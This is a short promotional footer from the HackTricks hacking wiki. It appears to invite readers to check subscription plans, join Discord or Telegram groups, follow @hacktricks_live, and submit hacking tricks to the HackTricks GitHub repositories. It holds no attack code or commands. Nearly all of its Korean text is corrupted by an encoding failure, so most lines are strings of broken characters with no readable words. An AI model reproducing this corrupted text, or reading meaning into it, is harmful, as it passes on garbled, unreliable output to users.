HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


